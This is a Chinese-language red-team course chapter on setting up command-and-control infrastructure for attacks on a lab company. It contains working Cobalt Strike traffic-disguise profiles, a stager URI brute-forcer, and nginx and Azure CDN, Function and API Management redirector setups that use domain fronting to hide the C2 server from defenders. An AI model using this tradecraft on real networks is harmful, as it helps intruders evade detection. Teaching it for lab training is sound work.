章节2:C2基础设施搭建
- VPS选择
- 域名与证书选择
- C2的选择
- C2侧写
- 使用 Azure CDN 实现域前置
- Azure 函数应用转发器
- Azure API 管理服务转发器
- 课程所用 C2 服务器配置
- 第2章课后作业
- 面试专题
VPS选择
VPS 选择
我们需要模拟外部攻击者来入侵靶场模拟的渡鸦制药公司,并且要使得一切都更专业化,因此选择一个 VPS 用来搭建 C2 基础设施是必须的。VPS,即虚拟专用服务器,是多租户云托管的一种形式,其中虚拟化服务器资源通过云或托管提供商通过互联网提供给终端用户。 每个 VPS 都安装在物理机上,由云或托管服务提供商运营,并运行着多个 VPS。
VPS 的供应商多种多样,为了使我们不迷失在众多供应商之中,在这里我提供 2 个自己信赖的 VPS 厂商,以及建议的配置等。需要注意的是,在中国大陆也是有诸多主流 VPS 厂商作为选择。我以下推荐的厂商可能需要你们使用 visa 支付。如果一些学生对此已经具备经验,那么完全可以按照自己的偏好来选择。
亚马逊AWS Lightsail
地址:https://lightsail.aws.amazon.com/
相比 EC2,亚马逊 AWS Lightsail 可以提供更受个人用户青睐的服务器,附带静态公网IP。除了可以用于搭建个人网站、博客之类的,当然也可以用于搭建 C2 基础设施。
Lightsail 附带了一些常见操作系统以及App应用,当然我们选择 Ubuntu 20.04 LTS 裸系统即可。接下来,可以根据自己需要选择分配的资源,以及对应的价格。
我的话,是选择了4GB 的内存,每个月 20 美元,当然你们可以选择 2GB 内存的,因为有额外的优惠,资源应当也是足够运行 C2 基础设施的。
等操作系统安装好了之后,使用者可以进行个性化配置,例如分配静态 IP、配置网络防火墙等,这些就由你们自行探索了。出于安全性考虑,我们可以对特定端口进行 IP 地址白名单。
Contabo VPS
Contabo VPS 是一家价格实惠、性能优秀、自定义丰富的 VPS 厂商,位于德国,本人是偏爱有加的。我们可以看到,8GB 内存、4核心处理器、300MB 带宽的 VPS 价格仅为人民币 60 左右。
在个性化 VPS 的时候,有诸多内容可以自定义,例如操作系统、是否带有子网网卡、地区、硬盘容量等。虽然部分自定义选项需要额外加钱,但根据课程所需的指标,最终配置下来一个月往往不会超过 15 美元。
以上,就是我个人推荐的 VPS/服务器厂商。有了具备静态公网 IP 的个人服务器之后,我们就可以搭建 C2 基础设施了。
域名与证书选择
域名与证书选择
该篇内容对于学生来说是选做的,域名以及证书对于本课程的推进不是必要的。但如果用于实战中,那么这则会是必要的步骤。无论如何,让我们一起来了解一下怎么给VPS选择域名以及证书。
域名
同VPS厂商一样,提供域名注册/购买的厂商也是繁多的,甚至一些厂商提供一条龙服务:VPS、域名、静态IP、证书。但在这里的话,我个人推荐在谷歌上购买域名。
地址:Google Domains - Get a new domain
虽然域名的选择看似是可以根据个人喜好,但实则尽可能选择看起来有意义、合法有效的域名。相比 www.h4ck3r.com,www.centerbank.com 可能会是一个更好的选择。另外,一些黑客会使用与知名网站看起来类似的域名,比如 www.goog1e.com。虽然在有些时候,这样能骗过人眼从而提高钓鱼攻击的成功率,但企业的 DNS 过滤器则会屏蔽这些故意使用错字的域名。
比如,查找 raven-med.com 是否可用,这个域名还尚未被注册,并且一年只需要 12 美元的注册费。注册一个自己的域名,就是这么简单!
在 google 上购买了域名之后,可以在域名设置中配置 DNS,使得该域名与自己所持有的公网 IP 映射起来,这样大家就能通过好记的域名来访问你的 VPS 了,如果有公开服务的话。
证书
无论是搭建个人网站,还是用于 C2 服务器,我们最好用 TLS/SSL 来加密通信以提高传输中安全,因此一个可信的证书是很有必要的。尽管可以使用自签名证书,但自签名证书在公网是不被信任的。因此,我们可以选择在 Let's Encrypt 上注册一个证书。LetsEncrypt 提供的证书是免费且相对可信的,这是个很好的选择。该网站会引导我们访问这个网站 Certbot Instructions | Certbot (eff.org) ,我们跟着教程中的命令一步步执行,就可以有自己的证书了。涉及的命令如下:
root@web01:~# snap install core
core 16-2.58 from Canonical✓ installed
root@web01:~# snap refresh core
snap "core" has no updates available
root@web01:~# snap install --classic certbot
certbot 1.32.2 from Certbot Project (certbot-eff✓) installed
root@web01:~# ln -s /snap/bin/certbot /usr/bin/certbot
root@web01:~# certbot certonly -d raven-med.com --apache --register-unsafely-without-email --agree-to
但是在本课程中,我们不需要购买域名和证书。我们可以先通过 openssl 来生成密钥对,再生成一个证书签名请求 CSR。Common Name 字段需要是公共 IP 或者域名。我们会在稍后用到证书。
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key
OPSEC Note
因为 LetsEncrypt 证书免费且相对可信,因此攻击者也对此加以滥用。如果为了更高的可信度,建议申请收费的证书。
C2的选择
C2 的选择
C2基础设施的准备工作已经做好了,接下来该选择一款得心应手的 C2 工具,因为它将会伴随着我们很长一段时间。
在选择的时候,我们可以参考 C2 矩阵 https://www.thec2matrix.com/matrix。C2 矩阵列举了知名的一批 C2 框架,当然这不是一个穷尽的列举,有些红队武器开发这会开发自己的 C2 工具,而且效果可能会很不错,但并不会公开而是内部使用。C2 矩阵还罗列了各个 C2 的差异、功能等属性。我从中挑选了几款作为介绍与对比。
Metasploit
这是大家很熟悉的了,Metasploit 既可以作为集成了诸多 exp 的渗透框架,同时它的 Meterpreter 也是个具备基础功能的 C2 框架,Kali Linux 自带Metasploit,所以使用 Meterpreter 几乎没有门槛。
优点:支持多平台植入、方便使用、门槛低、方便生成多种载荷类型
缺点:内置功能少、特征明显、植入的心跳是均等时间间隔等
Cobalt Strike
Cobalt Strike 是最知名的付费商业 C2 工具,有着庞大的使用群体,从红队操作员到 APT 组织。作为 C2 届的标杆,Cobalt Strike 的表现与功能性对得起这个头衔,尽管也并非是完美的。
优点:持续更新、稳定性高无明显 BUG、功能较为全面且强大、方便生成各种类型载荷、操作简便、社区氛围优秀以及形成了生态
缺点:内置 VNC 功能鸡肋、界面美观度一般、特征被高度收录
Sliver C2
地址:https://github.com/BishopFox/sliver
作为一款优秀的开源 C2,Sliver C2 逐渐成为红队、APT 组织,以及其他网络犯罪组织所使用的 C2 工具。Sliver C2具备诸多 Cobalt Strike 的功能,且在不断更新中,未来可期。
优点:易于部署、内置诸多功能注重于 OPSEC、功能较为全面、持续维护与更新中
缺点:存在一些 BUG、默认生成的可执行载荷体型很大、缺乏 GUI 客户端
Sharp C2
地址: https://github.com/rasta-mouse/SharpC2
SharpC2是 rasta-mouse 用 C# 语言编写的一款 C2, 命令和功能都比较接近 Cobalt Strike, 并且现在已经有了 GUI 客户端.
优点:功能丰富、操作熟悉、结构干净利落
缺点:需要更多的使用反馈作为参考
Havoc C2
地址: https://github.com/HavocFramework/Havoc
一18岁天才少年开发出的 C2 框架,功能强大,界面美观,风格有些类似 BRC4,且免费.
优点:界面美观、功能丰富、有诸多高水平红队开发员给予开发支持
缺点:不够稳定,具有一些 BUG
BRC4
这是一款以 EDR 规避能力著称的商业 C2。在之前,Brutal Ratel C4 (https://bruteratel.com/) 因为其高超的规避能力以及相比 CobaltStrike 少一些的用户,尚未出现在聚光灯下,因此也开始被一些犯罪组织所使用。BRC4 1.2.2 曾经有过泄露, 因此安全社区得以对其进行分析和作为案例研究。
其他
同时,PoshC2、Mythic C2 等也是优秀且免费开源的 C2,大家都可以亲自尝试尝试。但在本课程中,我们最终还是使用 Cobalt Strike 作为C2 框架并且架设在 VPS 之上,因为 Cobalt Strike 的生态圈和社区已经足够成熟。
C2侧写
C2侧写
Cobalt Strike 支持自定义侧写。自定义侧写不仅可以让我们自定义 Beacon 与 Team Server 之间的通信方式,从网络通信层面实现混淆效果,还可以自定义 Beacon 行为特征,例如反射DLL拓展、进程注入设置、后利用选项等。Malleable C2 仓库(https://github.com/rsmudge/Malleable-C2-Profiles)整合了一系列的 C2 侧写 ,但是考虑到这个仓库是公开的,侧写中的通信模式被标记也是显然的事情。因此,如果用于实战中,我们需要对这些侧写进行二次修改甚至完全重写。
接下来,我们选择一个较为简单的 C2 侧写文件 webbug.profile 作为案例,简要分析 HTTP 协议下的流量特征。HTTPS 监听器相比 HTTP 监听器,增加了 TLS 层对通信的加密,但其他是相似的。值得一提的是,如果在实战过程中更换 C2 侧写,可能会丢失目前的所有 Beacon,这是理所当然的,因为通信模式都改变了。
如下所示的是侧写中的完整内容,该侧写定义了 URI、请求参数、请求头、数据主体等参数,让我们来按模块分析一下这个侧写。
http-get {
set uri "/__utm.gif";
client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
metadata {
netbios;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "image/gif";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
http-post {
set uri "/___utm.gif";
client {
header "Content-Type" "application/octet-stream";
id {
prepend "UA-220";
append "-2";
parameter "utmac";
}
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
output {
print;
}
}
server {
header "Content-Type" "image/gif";
output {
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
# dress up the staging process too
http-stager {
server {
header "Content-Type" "image/gif";
}
}
如下所示的是 http-get 块,定义了 GET 请求的通信模式。set uri 指定了服务器与客户端要使用的 URI,这里是 __utm.gif。如果请求的 URI 与侧写中这里指定的不同,那么会返回 404 响应。
http-get {
set uri "/__utm.gif";
client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
metadata {
netbios;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "image/gif";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
client 块中指定了可以添加到 URI 后面的参数,以及固定的数值,通过 key-value 的形式存在。metadata 块则定义了有关 Beacon 所在受控主机的相关信息是如何传递的。这里,这些信息采用了 netbios 编码,为 utmcc 参数的值,并且值的最前端有字符串 "__utma"。
而 server 块定义了来自团队服务器的响应看起来是怎样的,这里,侧写指定了类型为 image/gif 的 Content-type 响应头。output 块定义了返回的数据是怎么被转换的,print 对应数据主体,这里,该侧写在数据主体之前附加了固定的数据。
分析完 http-get 块之后,http-post 块也是类似的语法与含义。让我们看看 Wireshark 视角下的数据包:
我们能看到,通信数据包主要以 GET 请求为主,因为无论是主机首次上线团队服务器,还是受害主机后续通过 Beacon 来向服务器确认存活,都是通过 GET 请求的。
查看其中一个 GET 请求详情,我们能看到侧写文件中定义的 URI,参数与其固定值,metadata 所对应的参数与值等信息。
如果团队服务器有分发任务(这里是执行 getuid 命令),那么任务信息会包含在对 GET 请求的响应中。
如果没有分发的任务,除了添加的固定数据外,则是空的。
当命令在 Beacon 端执行后,客户端通过 POST 请求传输加密后的输出数据。
我们再来说说 Http Stager 监听器。Stageless 的载荷,即是完整的 CobaltStrike Agent,一般在 200-300 KB。一方面,因为尺寸相对较大,且文件的特征更为显著,因此有时操作员会同时启用 Stager 监听器,以及分发 Stager 载荷。Stager 载荷尺寸要小得多,负责从团队服务器的 Stager 监听器上拉取 DLL 载荷并注入于内存中。但 Stager 监听器也有着 OPSEC 上的风险,尤其是 CobaltStrike 对它的实现。
CobaltStrike 使用了 checksum8 的 URL 算法来分发载荷,算法代码如下所示:
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
}
text = text.replace("/", "");
long sum = 0L;
for (int x = 0; x < text.length(); x++) {
sum += text.charAt(x);
}
return sum % 256L;
}
public static boolean isStager(String uri) {
return (checksum8(uri) == 92L);
}
public static boolean isStagerX64(String uri) {
return (checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}"));
}
我们可以通过如下的 Python 代码暴力破解出所有可用的 URI:
from itertools import product
import string
def checksum8(strr):
j = 0
if len(strr) < 4:
return 0
strr = strr.replace("/", "")
for c in strr:
j += ord(c)
return j % 256
chars = string.ascii_letters + string.digits
to_attempt = product(chars, repeat=4)
for attempt in to_attempt:
word = ''.join(attempt)
r = checksum8(word)
if r == 92:
print("{:30} - 32b checksum".format(word))
elif r == 93:
print("{:30} - 64b checksum".format(word))
例如通过 GET 请求访问 /aab9,可以得到 64 位的载荷。
因为防御者很容易拉取载荷进行取证,我们最好直接关闭 Stager 监听器,通过在 http-stager 块上方加入这么一行:
set host_stage "false";
当然,在 C2 侧写文件中我们能指定的远不止这些,并且随着 CobaltStrike 的版本迭代,越来越多新的选项,尤其是关于 Beacon 行为特征的设置,可以被团队服务器识别与生效。
关于侧写基础选项的语法可以参考官方文档(https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm )
我们还在课程的初期阶段,更多后利用与内存特征规避的选项还未接触到(我们会在第 15 章节讨论),但为了避免在中后期因为需要频繁修改侧写文件而丢失所有 Beacon,我们这里可以选择配置了更多选项且相对注重 OPSEC 的 JQuery-C2 侧写,可以在 https://github.com/threatexpress/malleable-c2 下载对应 Cobalt Strike 版本的侧写文件。尽管该侧写本身相对成熟,但毕竟依旧是开源的,因此建议你们尝试着自己修改一些选项,也算作为巩固的练习。
我们之前已经创建了 SSL 证书,命令如下。
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key
openssl req -new -key private.key -out raven.csr
接着,我们需要把证书和密钥导入到 Cobalt Strike 中。先把证书和密钥合成为单个的 pkcs12 文件,然后通过 Keytool 导入到 Java 的密钥存储。
openssl pkcs12 -inkey private.key -in public.crt -export -out azure.pkcs12
keytool -importkeystore -srckeystore ts.pkcs12 -srcstoretype pkcs12 -destkeystore azure.store
我们导入证书,还可以消除 CobaltStrike 的一个特征,即服务端与客户端之间通信的默认证书。我们能从证书中看到 cobaltstrike 的字样:
以及修改侧写文件中 https-certificate 部分,这将促使 HTTPS 的 Beacon 使用配置的证书。这里,我们复用客户端服务端之间通信的证书,如果有着更高的 OPSEC 需求,甚至可以使用不同的证书。
修改前
https-certificate {
#set keystore "/pathtokeystore";
#set password "password";
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
修改后
https-certificate {
set keystore "azure.store";
set password "123456"
}
以及不要忘记修改 teamserver 脚本的最后一行中的 keystore 文件以及密码,保存。
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./azure.store -Djavax.net.ssl.keyStorePassword=123123 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*
编辑好侧写文件之后,我们可以使用 c2lint 工具通过模拟各种情况下的请求与响应来检查侧写文件中是否有语法错误,命令为 ./c2lint xx.profile
以及不要忘记修改团队服务器端口。编辑 teamserver 脚本,翻到第 57 行,将默认的 50050 换为另外一个端口。
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*
此外,我们可以用工具 SourcePoint(https://github.com/Tylous/SourcePoint) 来生成属于更加自定义的 C2 侧写。我们需要先填写一个 yaml 文件:
Stage: "False"
Host: "azuresky.live"
Keystore: "azure.store"
Password: "123123"
Metadata: "netbios"
Injector: "VirtualAllocEx"
Outfile: "sp.profile"
PE_Clone: 20
Profile: 4
Allocation: 5312
Jitter: 30
Debug: true
Sleep: 35
Uri: 3
Useragent: "Innocent"
Post-EX Processname: 11
Datajitter: 40
Keylogger: "SetWindowsHookEx"
Customuri:
CDN:
CDN_Value:
ProfilePath:
Forwarder: True
然后我们用 sourcepoint 来根据 yaml 文件生成自定义的 C2 侧写:
因为 sourcepoint 生成的侧写的部分选项可能不被我们当前所使用的 CS 版本所支持,我们需要注释掉对应的选项与值,例如:
# Task and Proxy Max Size
#set tasks_max_size "1048576";
#set tasks_proxy_max_size "921600";
#set tasks_dns_proxy_max_size "71680";
.......
然后,使用 C2 lint 测试语法便能通过了。
使用 Azure CDN 实现域前置
为了行动的 OPSEC,红队们通过各种手段寻求隐藏他们的 C2 基础设施,否则会被防御方以及威胁猎人所追踪到。这些技术中,使用域前置技术来实现对 C2 服务器的隐藏,是卓有成效以及典型的。在这个小节,我们将学习使用 Azure CDN 实现域前置。
因为复现该小节的操作需要一定的成本,因此更多作为内容扩展,而非靶场的强制需要。
Azure 简介
Azure 是微软自家的云平台,类似于亚马逊 AWS,Google Cloud 等。Azure 有着十分广泛的服务范围,涵盖了计算,网络,存储,数据库,应用,IoT,AI 等领域。
在这些服务中,有诸多可以被红队加以利用的服务,例如 CDN,Function 应用,逻辑应用,API 管理等。并且,几乎所有企业都会使用微软的服务,因此 Azure 一跃成为了红队基础设施供应商 :D
尽管我们在此研究的是 Azure 上可为我们所用搭建安全的 C2 基础设施的服务,在其他云平台上我们也能找到对应的服务。例如 AWS 的 Lambda 与 Azure Function App 高度等同。
域前置理论
在使用 Azure CDN 实现域前置之前,我们需要了解一下域前置的理论与原理。域前置是一种规避互联网审查的技术,它在 HTTPS 连接的不同通信层中使用不同的域名来混淆互联网连接的真实目标。接下来,我们了解域前置技术所涉及的技术术语与过程:
CDN 与云服务提供商:域前置的核心是使用托管各种合法域名的大型 CDN 和云平台。 Azure,AWS,Cloudflare 等流行服务过去都曾被用于域名前置,尽管其中一些服务已经不再支持域前置了。
DNS 解析:当用户想要连接到特定网站时,例如 example.com,域名通过域名系统 DNS 解析为 IP 地址。
Host 头:随着虚拟主机的出现,与不同域名关联的多个网站可以托管在一台主机上,即来自单个 IP 地址。此功能的关键是请求 HOST 头,它指定了目标域名与端口。如下图所示,我们通过指定 HOST 头,可以访问任意被微软托管的网站。
HTTPS 和 SNI:随着 HTTPS 的出现,引入了名称为 SNI 的机制。SNI 允许客户端在 TLS 握手开始时指定要连接到哪个域名。虽然说 TLS 将 HTTP 数据包内容加密了,我们是可以看到数据包的发送终点的。
域前置过程:在域前置中,客户端将向前置域(可信,无害的域名)发出 HTTPS 请求,该域与目标域(黑名单,或被审查的域)托管在同一 CDN 平台 上。然而,尽管 DNS 与 HTTPS 请求中引用的是前置域,但 HOST 头指定目标域。因为 HOST 头在 HTTP 数据包中,属于被加密内容,因此可以实现规避审查的目的。
举个例子,CDN终端 good.azureedge.net 为域名 www.good.com 代理与缓存,同在 Azure 上的 CDN 终端 bad.azureedge.net 为域名 www.bad.com 代理与缓存。其中 www.good.com 是可信的域名,而 www.bad.com 被阻断访问。通过域前置技术突破的过程如下:
客户端通过 DNS 查询 www.good.com,得到 www.good.com 的 CNAME 为 good.azureedge.net
主 DNS 服务器向 Azure 的 DNS 服务器请求,查询 good.azureedge.net 的 IP
客户端得到 good.azureedge.net 的 IP
客户端向 www.good.com 发起 TLS 握手请求,得到证书
通过 HOST 头指定 bad.azureedge.net 域名,访问到 www.bad.com 内容
举个实际例子的话,do.skype.com 可以是前置域,因为其在 Azure 上的 CDN 终端为 skype-do.azureedge.net。
我们可以使用工具 FindFrontableDomains(https://github.com/rvrsh3ll/FindFrontableDomains) 来寻找与验证可用于前置域的域名。
准备工作
我们的 C2 基础设施结构如下所示,受害主机连接到 Azure 云服务,在本小节是 CDN。Azure 云服务充当着转发器/代理的作用,将收到的 Beacon 通信转发至 C2 服务器对外开放的 Nginx 服务器,Nginx 再将 Beacon 通信转发至不可被外部访问的 C2 监听端口。
理解了结构后,我们先在 VPS 上安装必要的组件:
apt-get install nginx apache2 python3-certbot-apache
编辑 Apache 的配置文件,通过以下命令确认端口 80 配置了 VHOST:
apachectl -t -D DUMP_VHOSTS
这里,我已经购买了域名 azuresky.live。使用 certbot 工具申请 LetsEncrypt 证书
certbot certonly -d <域名> --apache --register-unsafely-without-email --agree-to
root@ts:/etc/apache2/sites-available# certbot certonly -d azuresky.live --apache --register-unsafely-without-email --agree-to
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Plugins selected: Authenticator apache, Installer apache
Obtaining a new certificate
Performing the following challenges:
http-01 challenge for azuresky.live
Waiting for verification...
Cleaning up challenges
IMPORTANT NOTES:
- Congratulations! Your certificate and chain have been saved at:
/etc/letsencrypt/live/azuresky.live/fullchain.pem
Your key file has been saved at:
/etc/letsencrypt/live/azuresky.live/privkey.pem
Your cert will expire on 2023-12-31. To obtain a new or tweaked
version of this certificate in the future, simply run certbot
again. To non-interactively renew *all* of your certificates, run
"certbot renew"
- If you like Certbot, please consider supporting our work by:
Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate
Donating to EFF: https://eff.org/donate-le
因为不需要用到 Apache2,可以卸载或者停止运行。编辑 Nginx 配置文件,完成设置监听端口,指定证书与密钥等操作。
使用Azure CDN 实现域前置
Azure CDN 是我们基础设施的核心。要在 Azure 上创建并启用 CDN,首先我们需要创建订阅,并注册 CDN 服务。我们可以在 Azure 页面上点击 Cloud Shell 并执行如下命令实现。
Register-AzResourceProvider -ProviderNamespace Microsoft.Cdn
从 Azure 页面进入 Marketplace,并搜索 Front Door and CDN profiles。
创建一个新的侧写:
在 Offerings 选项中,选择 Explore other offerings 以及 Azure CDN Standard from Edgio。
填写相关信息,订阅选择刚刚创建的 pay-as-you-go,以及对应的资源组。CDN 终端名称决定了我们的子域名,Origin type 选择 Custom Origin,Origin hostname 填写我们的 C2 服务器域名,Query string caching behavior 选择 Bypass caching for query strings。
检查并提交
创建好后,进入 Caching rules 设置,将 Query string caching behavior 选择 Bypass caching for query strings。
截获微软应用的请求,或使用之前提到的工具,我们可以得到以下这些(以及更多)可作为前置域的微软域名,我们可以把这些域名一并加入主机池里。通过将 Host 头设置为 CDN 终端,我们最终可以实现隐藏 C2 服务器。
ajax.microsoft.com
ajax.aspnetcdn.com
do.skype.com
msdn.microsoft.com
az416426.vo.msecnd.net
officeimg.vo.msecnd.net
编辑 /etc/nginx/nginx.cnf 文件,增加侧写中的 URI,以及设置基于 UA 的请求过滤:
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name localhost;
#proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
ssl_certificate /etc/letsencrypt/live/azuresky.live/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/azuresky.live/privkey.pem;
location ~ ^/(index.html|content.php|api/azure|static/index.html|jquery-3.3.1.slim.min.js|jquery-3.3.2.slim.min.js|jquery-3.3.1.min.js|jquery-3.3.2.min.js) {
if ($http_user_agent != "dlerinfra") {
return 403;
}
proxy_pass https://localhost:10443;
}
}
}
生成 exe 载荷,执行,我们能成功执行命令并获得输出。使用工具 ProcessHacker 查看 Beacon 的网络通信,我们发现 Beacon 与 152.199.4.33,72.21.81.200,13.107.213.36,72.21.81.200 等 IP 通信。
实际上,这些 IP 都是我们之前发现的支持域前置的微软域名,即 Beacon 通信流量不会直接流向 C2 服务器。这样,我们实现了对 C2 服务器的隐藏。
Azure 函数应用转发器
Azure 函数是无服务器的解决方案,允许我们写更少的代码,维护更少的基础设施,以及节约更多的开支。我们可以提供自己的代码,使得 Azure 函数充当着转发器的作用。
从 https://github.com/RedSiege/FunctionalC2/tree/master/Azure/FunctionCode 下载可用的 Azure Function App 的 Python 代码。实际上 Function App 还支持例如 .NET 等其他语言,因为较为简洁易读,这里采用 Python 代码部署。
下载并安装 Visual Studio Code,安装 Azure Tools 插件。
安装之后,点击左侧的 Azure Tools 拓展,登录 Azure,我们便能看到当前账户的资源。
编辑下载的代码,将 URL替换为 C2 服务器对外开放的 Nginx 服务器的地址,附加上相应的终端。也可以在代码中添加其他功能,例如对发送至 Function App 的请求做出过滤,实现代理/转发器的功能。
编辑好代码后保存,在 Code 中选择代码所在的文件夹作为本地工作空间。
点击资源栏的加号,创建新的 Function App,并选择对应的选项,语言选择 Python。
创建完成后得到输出
将本地的 Function App 文件部署到 Azure 端。
部署完成后,输出中会包含终端的 URL:
将 /api/getit 与 /api/postit 终端分别添加到 Nginx 配置文件中使其能被 Nginx 转发到团队服务器,以及 C2 侧写中。(使用 JQuery 侧写有遇到奇怪的 BUG) 一份可用的侧写如下所示:
#
# Online Certificate Status Protocol (OCSP) Profile
# http://tools.ietf.org/html/rfc6960
#
# Author: @harmj0y
# Updated: by FortyNorth Security to demo Azure Functions
#
set sleeptime "3000"; # 3 Seconds
set jitter "20"; # % jitter
set useragent "dlerinfra";
https-certificate {
set keystore "ts.store";
set password "123123";
}
set maxdns "255";
http-get {
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "OSID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Cache-Control" "max-age=547738, public, no-transform, must-revalidate";
header "Connection" "keep-alive";
output {
print;
}
}
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "TRY=";
header "Cookie";
}
output {
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Cache-Control" "max-age=547738, public, no-transform, must-revalidate";
header "Connection" "keep-alive";
output {
print;
}
}
}
set host_stage "false";
http-stager {
set uri_x86 "/api/stageit";
}
在 CS 客户端生成 exe 载荷,执行后,团队服务器便得到了会话,可以成功执行命令并得到输出。
美中不足的是,Beacon 的外部 IP 显示为 127.0.0.1,但这是可以解决的。至于如何解决,这作为一个课后作业。
我们看到,Beacon 与 20.49.104.36 通信,该 IP 为我们 Function App 的地址,因此我们实现了对 C2 服务器的隐藏。
Azure API 管理服务转发器
类似于 Azure Function 应用,Azure API 管理服务也可用于搭建安全的 C2 基础设施。在 Azure 面板中,导航到 API Management services,创建新的 API 管理服务。
点击 Add API,添加 2 个HTTP API,分别用于处理 GET 与 POST 请求。
Web service URL 填写 C2 服务器 Nginx 的 URL,因为我们在 API URL suffix 添加了名为 get 的后缀,因此 Nginx URL 这里也对应地补上。
取消对 Subscription required 的勾选,其他保持默认即可。
在该 API 里通过点击 Add operation 来添加一个操作,指定请求类型为 GET,以及终端名称。
这样,就完成了处理 GET 请求的 API 管理服务。我们重复类似的步骤来完成处理 POST 请求的 API 管理服务。
这样,这 2 个终端的完整 URI 如下所示:
GET: https://dlersec-api.azure-api.net/get/api
POST: https://dlersec-api.azure-api.net/post/api
修改 Nginx 配置文件添加对这 2 个终端的转发,使得从 Azure 转发至 Nginx 的请求最终被转发到 C2 团队服务器。
以及修改侧写文件中的 URI
使用 curl 测试以下,成功得到了 C2 的响应。
生成 exe 载荷并执行,成功获得会话,并且命令执行与输出一切正常。
查看 Beacon 的通信地址,IP 是 20.241.189.223,也就是我们 Azure API 管理服务的地址,成功隐藏了 C2 服务器。
课程所用 C2 服务器配置
考虑到在 Azure 上部署服务作为 C2 基础设施的组成部分,具有一定的门槛与成本,在课程推进与靶场中,我们搭建一个简易的 C2 基础设施。出于节约成本起见,转发器与 C2 服务器同主机,让 Nginx 充当反向代理,我们需要保护 CS 的监听端口。
这里我们选择 JQuery C2 侧写文件。
我们可以添加特定的 User Agent,这样的话,除了我自己的 Beacon,不会有其他的浏览器或者客户端工具使用相同的 User Agent
在 CS 中新建一个监听器,HTTPS Hosts 即 VPS IP,HTTPS Host (Stager) 同样如此。HTTPS Port (C2) 为 Nginx 监听端口,HTTPS Port (Bind) 为 Cobalt Strike 的监听器端口。
Nginx配置文件
配置 Nginx 的配置文件 /etc/nginx/ngix.conf
server {
listen 443;
ssl on;
ssl_certificate /etc/ssl/certs/public.crt;
ssl_certificate_key /etc/ssl/private/private.key;
server_name azuresky.live;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location ~*/ {
if ($http_user_agent != "Innocent") {
return 403;
}
proxy_pass https://localhost:8443;
}
}
proxy_set_header 这行用于配置 Nginx 转发源 IP
proxy_pass 这行用于将 Nginx 端口的流量转发到 CS 的监听器端口
location ~*/ 这里定义了根据 User Agent 进行过滤。因为我之前留了一个几乎不可能存在于 Beacon 之外的 UA,很好用于区分是来自 Beacon 的通信,还是其他的客户端。非 Beacon 的通信全部转到403错误页面。
对比图如下
通过这些简单的转发与请求过滤处理,我们不需要将 HTTPS 监听端口与团队服务器的端口暴露在公网。最后,我们可以通过 SSH 隧道,将 Cobalt Strike 团队服务器的端口映射到自用 Kali 主机上,用于登陆客户端。
第2章课后作业
练习
1:根据本章所学,使用 Nginx 搭建一个简易的 C2 基础设施
2:使用 Apache2,搭建一个简易的 C2 基础设施
3:使用 webbug_getonly 作为C2侧写,配置 C2 设施
